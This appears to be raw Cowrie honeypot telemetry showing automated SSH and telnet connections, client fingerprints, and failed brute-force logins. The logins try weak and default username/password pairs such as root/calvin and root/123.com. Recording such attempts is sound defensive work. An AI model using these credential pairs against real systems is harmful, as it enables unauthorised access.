{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:32.663749Z","src_ip":"141.11.88.14","session":"0fb00865ce65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"p","password":"p","message":"login attempt [p/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:33.798631Z","src_ip":"141.11.88.14","session":"0fb00865ce65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:34.918930Z","src_ip":"141.11.88.14","session":"0fb00865ce65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":11462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1b1b74c2fd1","protocol":"ssh","message":"New connection: 177.85.247.230:11462 (10.17.0.5:22) [session: e1b1b74c2fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:37.144527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:37.151708Z","src_ip":"177.85.247.230","session":"e1b1b74c2fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:37.255592Z","src_ip":"177.85.247.230","session":"e1b1b74c2fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paid","password":"paid","message":"login attempt [paid/paid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:37.700507Z","src_ip":"177.85.247.230","session":"e1b1b74c2fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:38.810682Z","src_ip":"177.85.247.230","session":"e1b1b74c2fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27348,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c197cbf921e","protocol":"ssh","message":"New connection: 141.11.88.14:27348 (10.17.0.5:22) [session: 6c197cbf921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:39.031268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:39.097336Z","src_ip":"141.11.88.14","session":"6c197cbf921e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:39.207131Z","src_ip":"141.11.88.14","session":"6c197cbf921e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd","message":"login attempt [user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:39.523933Z","src_ip":"141.11.88.14","session":"6c197cbf921e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:40.610195Z","src_ip":"141.11.88.14","session":"6c197cbf921e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27366,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fa89b905058","protocol":"ssh","message":"New connection: 141.11.88.14:27366 (10.17.0.5:22) [session: 2fa89b905058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:44.635395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:44.645249Z","src_ip":"141.11.88.14","session":"2fa89b905058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:44.728465Z","src_ip":"141.11.88.14","session":"2fa89b905058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"s","password":"s","message":"login attempt [s/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:45.324480Z","src_ip":"141.11.88.14","session":"2fa89b905058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:46.471164Z","src_ip":"141.11.88.14","session":"2fa89b905058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62158,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5392c9b97c6","protocol":"ssh","message":"New connection: 141.11.88.14:62158 (10.17.0.5:22) [session: f5392c9b97c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:49.625959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:49.660723Z","src_ip":"141.11.88.14","session":"f5392c9b97c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:49.752551Z","src_ip":"141.11.88.14","session":"f5392c9b97c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:50.703816Z","src_ip":"141.11.88.14","session":"f5392c9b97c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:51.919096Z","src_ip":"141.11.88.14","session":"f5392c9b97c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62180,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd1918002513","protocol":"ssh","message":"New connection: 141.11.88.14:62180 (10.17.0.5:22) [session: bd1918002513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:54.767455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:54.813466Z","src_ip":"141.11.88.14","session":"bd1918002513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:54.907199Z","src_ip":"141.11.88.14","session":"bd1918002513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brad","password":"brad","message":"login attempt [brad/brad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:56.034177Z","src_ip":"141.11.88.14","session":"bd1918002513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:57.164639Z","src_ip":"141.11.88.14","session":"bd1918002513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57112,"dst_ip":"10.17.0.5","dst_port":22,"session":"961ca9d5c4be","protocol":"ssh","message":"New connection: 141.11.88.14:57112 (10.17.0.5:22) [session: 961ca9d5c4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:03.215190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:03.354602Z","src_ip":"141.11.88.14","session":"961ca9d5c4be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:03.363539Z","src_ip":"141.11.88.14","session":"961ca9d5c4be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com","message":"login attempt [root/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:05.390493Z","src_ip":"141.11.88.14","session":"961ca9d5c4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36510,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe33dbc01402","protocol":"telnet","message":"New connection: 172.81.62.90:36510 (159.203.135.109:23) [session: fe33dbc01402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:05.745171Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:06.475416Z","src_ip":"141.11.88.14","session":"961ca9d5c4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b31ee6e9b0f","protocol":"telnet","message":"New connection: 94.23.66.112:39500 (10.17.0.5:23) [session: 2b31ee6e9b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:07.674348Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61898,"dst_ip":"10.17.0.5","dst_port":22,"session":"491ba3918a23","protocol":"ssh","message":"New connection: 141.11.88.14:61898 (10.17.0.5:22) [session: 491ba3918a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:09.664800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:09.869237Z","src_ip":"141.11.88.14","session":"491ba3918a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:09.871840Z","src_ip":"141.11.88.14","session":"491ba3918a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:10.556520Z","src_ip":"141.11.88.14","session":"491ba3918a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:11.659670Z","src_ip":"141.11.88.14","session":"491ba3918a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5bbf50db0fa","protocol":"ssh","message":"New connection: 141.11.88.14:61932 (10.17.0.5:22) [session: c5bbf50db0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:16.170141Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.75","src_port":51244,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97ed7267d81","protocol":"telnet","message":"New connection: 147.185.132.75:51244 (159.203.135.109:23) [session: f97ed7267d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:16.217592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:16.504491Z","src_ip":"141.11.88.14","session":"c5bbf50db0fa","protocol":"ssh"}
